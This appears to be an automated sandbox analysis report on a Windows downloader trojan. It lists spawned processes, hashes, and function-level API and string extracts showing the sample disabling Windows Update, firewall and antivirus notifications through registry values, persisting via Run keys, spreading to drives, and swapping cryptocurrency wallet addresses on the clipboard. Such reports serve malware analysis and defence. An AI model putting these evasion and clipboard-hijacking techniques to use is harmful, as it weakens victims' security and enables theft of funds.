Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:22:59
Start date:	08/05/2024
Path:	C:\Users\user\AppData\Local\Temp\2711236308.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2711236308.exe
Imagebase:	0x390000
File size:	8'704 bytes
MD5 hash:	9B8A3FB66B93C24C52E9C68633B00F37
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 30%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:23:00
Start date:	08/05/2024
Path:	C:\Windows\winploravr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\winploravr.exe"
Imagebase:	0xf0000
File size:	14'848 bytes
MD5 hash:	D085F41FE497A63DC2A4882B485A2CAF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 96%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:23:04
Start date:	08/05/2024
Path:	C:\Users\user\AppData\Local\Temp\330125677.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\330125677.exe
Imagebase:	0x6f0000
File size:	8'704 bytes
MD5 hash:	11D2F27FB4F0C424AB696573E79DB18C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 62%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:23:07
Start date:	08/05/2024
Path:	C:\Users\user\AppData\Local\Temp\1245832676.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\1245832676.exe
Imagebase:	0xae0000
File size:	8'704 bytes
MD5 hash:	9B8A3FB66B93C24C52E9C68633B00F37
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 30%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	15:23:08
Start date:	08/05/2024
Path:	C:\Users\user\winploravr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\winploravr.exe"
Imagebase:	0x2a0000
File size:	14'848 bytes
MD5 hash:	D085F41FE497A63DC2A4882B485A2CAF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:23:12
Start date:	08/05/2024
Path:	C:\Users\user\AppData\Local\Temp\300129380.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\300129380.exe
Imagebase:	0x3f0000
File size:	11'264 bytes
MD5 hash:	CAFD277C4132F5D0F202E7EA07A27D5C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 38%, ReversingLabs
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.6%
Total number of Nodes:	1471
Total number of Limit Nodes:	8

Executed Functions

Function 0040EBE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLocaleInfoA.KERNELBASE(00000400,00000007,?,0000000A,?,?,004075E8), ref: 0040EBF3
strcmp.NTDLL ref: 0040EC02

Strings

UKR, xrefs: 0040EBF9

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: InfoLocalestrcmp
String ID: UKR
API String ID: 3191669094-64918367
Opcode ID: 60baf994038672de7e905354210f4f0cccfe67ebee51479d5c5c355a5e8cecad
Instruction ID: 39a3b49c0f9cc0ba3e3bafda0df6f1f41861fe80aa697247161161d98fc04bc2
Opcode Fuzzy Hash: 60baf994038672de7e905354210f4f0cccfe67ebee51479d5c5c355a5e8cecad
Instruction Fuzzy Hash: 9AE0CD3594830876DA1065A15C02BA6371C5711701F0000B5AF14A21C1E5765119926B

Function 00407500 Relevance: 263.2, APIs: 99, Strings: 51, Instructions: 721
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 0040750E
CreateMutexA.KERNELBASE(00000000,00000000,b7x663937xa), ref: 0040751D
GetLastError.KERNEL32 ref: 00407529
ExitProcess.KERNEL32 ref: 00407538
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe,00000105), ref: 00407572
PathFindFileNameW.SHLWAPI(C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe), ref: 0040757D
wsprintfW.USER32 ref: 0040759A
DeleteFileW.KERNELBASE(?), ref: 004075AA
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 004075C1
wcscmp.NTDLL ref: 004075D3
ExitProcess.KERNEL32 ref: 004075F2

Strings

AntiVirusOverride, xrefs: 00407D81
%userprofile%, xrefs: 004075BC
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407A08
SOFTWARE\Microsoft\Security Center, xrefs: 00407BF3
NoAutoUpdate, xrefs: 00407A29
UpdatesDisableNotify, xrefs: 00407DDE
Start, xrefs: 00407B78
Start, xrefs: 004078E3
AntiVirusDisableNotify, xrefs: 00407DA0
%s\tbtnds.dat, xrefs: 00407E31
FirewallDisableNotify, xrefs: 00407C37
DisableWindowsUpdateAccess, xrefs: 00407931
UpdatesOverride, xrefs: 00407DBF
DisableWindowsUpdateAccess, xrefs: 004079DB
FirewallOverride, xrefs: 00407C18
WindowsUpdate, xrefs: 00407A85
AntiSpywareOverride, xrefs: 00407C56
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407834
sysbrapsvc.exe, xrefs: 004075C7, 0040760F, 004076E9, 004077DA
SYSTEM\CurrentControlSet\Services\BITS, xrefs: 00407B57
AntiVirusDisableNotify, xrefs: 00407C94
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 004079BA
%s\%s, xrefs: 004076F5
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407AB2
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407B09
FirewallDisableNotify, xrefs: 00407D43
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407910
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL, xrefs: 00407BA5
CheckedValue, xrefs: 00407BC6
%windir%, xrefs: 00407604
%temp%, xrefs: 004077CF
SYSTEM\CurrentControlSet\Services\wuauserv, xrefs: 004078C2
%s:Zone.Identifier, xrefs: 0040758E
NoAutoUpdate, xrefs: 00407B2A
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407669
UpdatesOverride, xrefs: 00407CB3
SOFTWARE\Policies\Microsoft\Windows, xrefs: 00407963
C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe, xrefs: 0040756B, 00407578, 00407589, 00407639, 00407713, 00407804
AntiVirusOverride, xrefs: 00407C75
UpdatesDisableNotify, xrefs: 00407CD2
FirewallOverride, xrefs: 00407D24
WindowsUpdate, xrefs: 0040798D
SOFTWARE\Policies\Microsoft\Windows, xrefs: 00407A5B
Windows Settings, xrefs: 0040769C, 00407776, 00407867
%s\tbtcmds.dat, xrefs: 00407E4B
%s\%s, xrefs: 004077E6
%s\%s, xrefs: 0040761B
b7x663937xa, xrefs: 00407514
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407743
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 00407CFF
AntiSpywareOverride, xrefs: 00407D62

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswcscmpwsprintf
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\%s$%s\tbtcmds.dat$%s\tbtnds.dat$%temp%$%userprofile%$%windir%$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe$CheckedValue$DisableWindowsUpdateAccess$DisableWindowsUpdateAccess$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$NoAutoUpdate$NoAutoUpdate$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL$SOFTWARE\Policies\Microsoft\Windows$SOFTWARE\Policies\Microsoft\Windows$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SYSTEM\CurrentControlSet\Services\BITS$SYSTEM\CurrentControlSet\Services\wuauserv$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Start$Start$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$WindowsUpdate$WindowsUpdate$b7x663937xa$sysbrapsvc.exe
API String ID: 4172876685-745901262
Opcode ID: 5d2210e2075790dfbba300687ee5d24c3552d18a1fa068fed954528d406d25e8
Instruction ID: 03a0cce086b07e6777eb00571f2894b6de511c4d2cf633d1374b0a1cea72e181
Opcode Fuzzy Hash: 5d2210e2075790dfbba300687ee5d24c3552d18a1fa068fed954528d406d25e8
Instruction Fuzzy Hash: D64256B1B80318BBE7209BA0DC4AFD93779AB48B11F10C5A5F305BA1D0DAF5A584CB5D

Function 0040EE30 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040EE3E
memset.NTDLL ref: 0040EE4E
CreateProcessW.KERNELBASE(00000000,00407896,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040EE87
Sleep.KERNELBASE(000003E8), ref: 0040EE97
ShellExecuteW.SHELL32(00000000,open,00407896,00000000,00000000,00000000), ref: 0040EEB2
Sleep.KERNEL32(000003E8), ref: 0040EECC

Strings

, xrefs: 0040EEC1
D, xrefs: 0040EE56
open, xrefs: 0040EEAB

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: aaa8efd2447e76ebee4be6377d3fcdc8a7337733f8d70036db534e1e8db572fc
Instruction ID: ab95b539b52ee8c861e7b35bb7843e11e17158efae48c82db73052011d4181fd
Opcode Fuzzy Hash: aaa8efd2447e76ebee4be6377d3fcdc8a7337733f8d70036db534e1e8db572fc
Instruction Fuzzy Hash: F2113071A4430CBAEB10DB90DD46FDE7764AB14B00F104125FA057E2C0D6F5AA548759

Non-executed Functions

Function 00406650 Relevance: 77.3, APIs: 34, Strings: 10, Instructions: 300
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_chkstk.NTDLL(?,00406CC0,?,?,?), ref: 00406658
wsprintfW.USER32 ref: 0040668F
wsprintfW.USER32 ref: 004066AF
wsprintfW.USER32 ref: 004066CF
wsprintfW.USER32 ref: 004066EF
wsprintfW.USER32 ref: 00406708
PathFileExistsW.SHLWAPI(?), ref: 00406718
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406751
DeleteFileW.KERNEL32(?), ref: 0040675E
PathFileExistsW.SHLWAPI(?), ref: 0040676B
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406785
DeleteFileW.KERNEL32(?), ref: 00406792
PathFileExistsW.SHLWAPI(?), ref: 0040679F
CreateDirectoryW.KERNEL32(?,00000000), ref: 004067B2
SetFileAttributesW.KERNEL32(?,00000002), ref: 004067C5
PathFileExistsW.SHLWAPI(?), ref: 004067D2
CopyFileW.KERNEL32(0041A428,?,00000000), ref: 004067EA

Strings

%s\%s\%s, xrefs: 00406ACB
%s\%s, xrefs: 004066A3
%s\%s, xrefs: 004066E3
%s\%s\VolMgrSvc.exe, xrefs: 004066C3
%s\%s, xrefs: 00406A31
%s\*, xrefs: 004066FC
%s\%s, xrefs: 00406AA4
shell32.dll, xrefs: 0040681E
%s.lnk, xrefs: 00406683
shell32.dll, xrefs: 00406836

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$Attributes$Delete$CopyCreateDirectory_chkstk
String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\VolMgrSvc.exe$%s\*$shell32.dll$shell32.dll
API String ID: 2120662298-3454820331
Opcode ID: 9bf2619cef5fba6853ff482bd73d2f59edf810866bcdaa708e9710542ec04caf
Instruction ID: c612be32194b3f0687db5988b06318d9a83eb4d95ba537684b9fbd0309d38362
Opcode Fuzzy Hash: 9bf2619cef5fba6853ff482bd73d2f59edf810866bcdaa708e9710542ec04caf
Instruction Fuzzy Hash: 33D164B5900258ABCB20DF50DC54FEA77B8BB48304F00C5EAF20AA6191D7B99BD4CF59

Function 004048A0 Relevance: 74.5, APIs: 26, Strings: 16, Instructions: 951clipboardstringmemoryCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000), ref: 004048BC
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00404C72
StrStrW.SHLWAPI(00000000,cosmos), ref: 00404C9D
StrStrW.SHLWAPI(00000000,addr), ref: 00404CC8
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00404D67
StrStrW.SHLWAPI(00000000,ronin:), ref: 00404D7E
StrStrW.SHLWAPI(00000000,nano_), ref: 00404D95
isalpha.NTDLL ref: 00404E14
isdigit.NTDLL ref: 00404E2B
StrStrW.SHLWAPI(00000000,bnb), ref: 0040530C
StrStrW.SHLWAPI(00000000,band), ref: 00405326
StrStrW.SHLWAPI(00000000,bc1), ref: 00405340
StrStrW.SHLWAPI(00000000,ronin:), ref: 0040535A
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00405374
StrStrW.SHLWAPI(00000000,cosmos), ref: 0040538E
StrStrW.SHLWAPI(00000000,addr), ref: 004053A8
StrStrW.SHLWAPI(00000000,nano_), ref: 004053C2
lstrlenA.KERNEL32(00000000), ref: 00405483
GlobalAlloc.KERNEL32(00002002,-00000001), ref: 0040549E
GlobalLock.KERNEL32(00000000), ref: 004054B1
memcpy.NTDLL(00000000,00000000,-00000001), ref: 004054CF
GlobalUnlock.KERNEL32(00000000), ref: 004054DB
OpenClipboard.USER32(00000000), ref: 004054E3
EmptyClipboard.USER32 ref: 004054ED
SetClipboardData.USER32(00000001,00000000), ref: 004054F9
CloseClipboard.USER32 ref: 004054FF

Strings

hA, xrefs: 004053CC
addr, xrefs: 0040539F
cosmos, xrefs: 00404C94
ronin:, xrefs: 00404D75
band, xrefs: 0040531D
bitcoincash:, xrefs: 0040536B
bitcoincash:, xrefs: 00404C69
0, xrefs: 0040541B
bc1, xrefs: 00405337
nano_, xrefs: 00404D8C
cosmos, xrefs: 00405385
bnb, xrefs: 00405303
ronin:, xrefs: 00405351
bitcoincash:, xrefs: 00404D5E
addr, xrefs: 00404CBF
nano_, xrefs: 004053B9

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$lstrlen$AllocCloseDataEmptyLockOpenUnlockisalphaisdigitmemcpy
String ID: 0$addr$addr$band$bc1$bitcoincash:$bitcoincash:$bitcoincash:$bnb$cosmos$cosmos$hA$nano_$nano_$ronin:$ronin:
API String ID: 2780752356-1454159098
Opcode ID: db0cde2cd50ccb5069a51a9c4317994cb8735621270c1e5570870890d393e6db
Instruction ID: 26410022a6445c47d5157de28e84b6b5fde917cb10c9abdd84e28c21981b130d
Opcode Fuzzy Hash: db0cde2cd50ccb5069a51a9c4317994cb8735621270c1e5570870890d393e6db
Instruction Fuzzy Hash: 0E8239B0A00218EACF548F41C0945BE7BB2EF82751F60C06BE9456F294D77D9ED1DB98

Function 00407FD0 Relevance: 62.3, APIs: 34, Strings: 1, Instructions: 1037
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_aullshr.NTDLL ref: 004080CD
_allshl.NTDLL ref: 004080E6
_aullshr.NTDLL ref: 004081B4
_allshl.NTDLL ref: 004081CD
_aullshr.NTDLL ref: 00408296
_allshl.NTDLL ref: 004082AF
_aullshr.NTDLL ref: 00408378
_allshl.NTDLL ref: 00408391
_aullshr.NTDLL ref: 0040845A
_allshl.NTDLL ref: 00408473
_aullshr.NTDLL ref: 00408536
_allshl.NTDLL ref: 0040854F
_aullshr.NTDLL ref: 00408612
_allshl.NTDLL ref: 0040862B
_aullshr.NTDLL ref: 004086EE
_allshl.NTDLL ref: 00408707
_aullshr.NTDLL ref: 004087CA
_allshl.NTDLL ref: 004087E3
_aullshr.NTDLL ref: 004088A6
_allshl.NTDLL ref: 004088BF
_aullshr.NTDLL ref: 00408982
_allshl.NTDLL ref: 0040899B
_aullshr.NTDLL ref: 00408A5E
_allshl.NTDLL ref: 00408A77
_aullshr.NTDLL ref: 00408B3A
_allshl.NTDLL ref: 00408B53
_aullshr.NTDLL ref: 00408C16
_allshl.NTDLL ref: 00408C2F
_aullshr.NTDLL ref: 00408CF2
_allshl.NTDLL ref: 00408D0B
_aullshr.NTDLL ref: 00408DC8
_allshl.NTDLL ref: 00408DE1
_allshl.NTDLL ref: 00408E02
_aullshr.NTDLL ref: 00408E13

Strings

Y, xrefs: 00407FF0

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID: Y
API String ID: 673498613-3233089245
Opcode ID: e0219c0cb63c951aee207acb5c20a8eba96760fb7fce38bb851f4f92132f37b8
Instruction ID: 91a0cfa4af347c69fbb9c53c66948b689c70d87f72a9d4407fdf19585fed71d9
Opcode Fuzzy Hash: e0219c0cb63c951aee207acb5c20a8eba96760fb7fce38bb851f4f92132f37b8
Instruction Fuzzy Hash: 30D22979D11619EFCB54CF99C18099EFBF1FF88320F62859A9845AB305C630BA95DF80

Function 00407FF9 Relevance: 52.0, APIs: 34, Instructions: 1023
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_aullshr.NTDLL ref: 004080CD
_allshl.NTDLL ref: 004080E6
_aullshr.NTDLL ref: 004081B4
_allshl.NTDLL ref: 004081CD
_aullshr.NTDLL ref: 00408296
_allshl.NTDLL ref: 004082AF
_aullshr.NTDLL ref: 00408378
_allshl.NTDLL ref: 00408391
_aullshr.NTDLL ref: 0040845A
_allshl.NTDLL ref: 00408473
_aullshr.NTDLL ref: 00408536
_allshl.NTDLL ref: 0040854F
_aullshr.NTDLL ref: 00408612
_allshl.NTDLL ref: 0040862B
_aullshr.NTDLL ref: 004086EE
_allshl.NTDLL ref: 00408707
_aullshr.NTDLL ref: 004087CA
_allshl.NTDLL ref: 004087E3
_aullshr.NTDLL ref: 004088A6
_allshl.NTDLL ref: 004088BF
_aullshr.NTDLL ref: 00408982
_allshl.NTDLL ref: 0040899B
_aullshr.NTDLL ref: 00408A5E
_allshl.NTDLL ref: 00408A77
_aullshr.NTDLL ref: 00408B3A
_allshl.NTDLL ref: 00408B53
_aullshr.NTDLL ref: 00408C16
_allshl.NTDLL ref: 00408C2F
_aullshr.NTDLL ref: 00408CF2
_allshl.NTDLL ref: 00408D0B
_aullshr.NTDLL ref: 00408DC8
_allshl.NTDLL ref: 00408DE1
_allshl.NTDLL ref: 00408E02
_aullshr.NTDLL ref: 00408E13

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: c852d1659e7a65a571c4b59e3ddf7e14438d3a7a61dc4406c53c3f8d29bf0a61
Instruction ID: ca30ecb1613d8b6096c3d6248fe69ff98c04f7b8c63c1f977ddd3c5f0a8ac617
Opcode Fuzzy Hash: c852d1659e7a65a571c4b59e3ddf7e14438d3a7a61dc4406c53c3f8d29bf0a61
Instruction Fuzzy Hash: EDD22979D11619EFCB54CF99C18099EFBF1FF88320F62859A9845AB305C630BA95DF80

Function 00405910 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040591C
SetClipboardViewer.USER32(?), ref: 00405968
SetWindowLongW.USER32(?,000000EB,?), ref: 0040597B
IsClipboardFormatAvailable.USER32(0000000D), ref: 004059D0
OpenClipboard.USER32(00000000), ref: 00405A17
GetClipboardData.USER32(00000000), ref: 00405A29
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00405B30
ChangeClipboardChain.USER32(?,?), ref: 00405B3E
DefWindowProcA.USER32(?,?,?,?), ref: 00405B54

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: cb19e17cacb7ad962392a7750cfffe1c2c8f8667cd08c9b5de7b834d1fa684ec
Instruction ID: ab6473899f09a2e4ce72b89913391a8d882f42dafbfb3729ae4d66df8233a766
Opcode Fuzzy Hash: cb19e17cacb7ad962392a7750cfffe1c2c8f8667cd08c9b5de7b834d1fa684ec
Instruction Fuzzy Hash: 6671FC75A00608EFDF14DFA4D988BAFB7B4EB48300F14856AE506B6290D7799A40CF69

Function 00406510 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(00406AFE,00000000), ref: 0040651F
wsprintfW.USER32 ref: 00406535
FindFirstFileW.KERNEL32(?,?), ref: 0040654C
lstrcmpW.KERNEL32(?,00410FC4), ref: 00406571
lstrcmpW.KERNEL32(?,00410FC8), ref: 00406587
wsprintfW.USER32 ref: 004065AA
wsprintfW.USER32 ref: 004065CA
MoveFileExW.KERNEL32(?,?,00000009), ref: 00406606
FindNextFileW.KERNEL32(000000FF,?), ref: 0040661A
FindClose.KERNEL32(000000FF), ref: 0040662F
RemoveDirectoryW.KERNEL32(?), ref: 00406639

Strings

%s\*, xrefs: 00406529
%s\%s, xrefs: 004065BE
%s\%s, xrefs: 0040659E

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*
API String ID: 92872011-445461498
Opcode ID: 4d993e4b2371ed22e4f6f4ca18b818e1fed1a50a7be2704f398f1e399b769794
Instruction ID: 53594aa6cee022007eb09e89ff8d3070c1334f86b1d3d86e8b3ef453570f0988
Opcode Fuzzy Hash: 4d993e4b2371ed22e4f6f4ca18b818e1fed1a50a7be2704f398f1e399b769794
Instruction Fuzzy Hash: B2315BB5500218AFCB10DB60DC85FDA7778AB48701F40C5A5F609A3185DBB5DAD9CF58

Function 00406B50 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00406B5E
GetModuleFileNameW.KERNEL32(00000000,0041A428,00000104), ref: 00406B70

Part of subcall function 0040EC20: CreateFileW.KERNEL32(00406B80,80000000,00000001,00000000,00000003,00000000,00000000,00406B80), ref: 0040EC40
Part of subcall function 0040EC20: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040EC55
Part of subcall function 0040EC20: CloseHandle.KERNEL32(000000FF), ref: 0040EC62

ExitThread.KERNEL32 ref: 00406CDA

Part of subcall function 00406340: GetLogicalDrives.KERNEL32 ref: 00406346
Part of subcall function 00406340: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406394
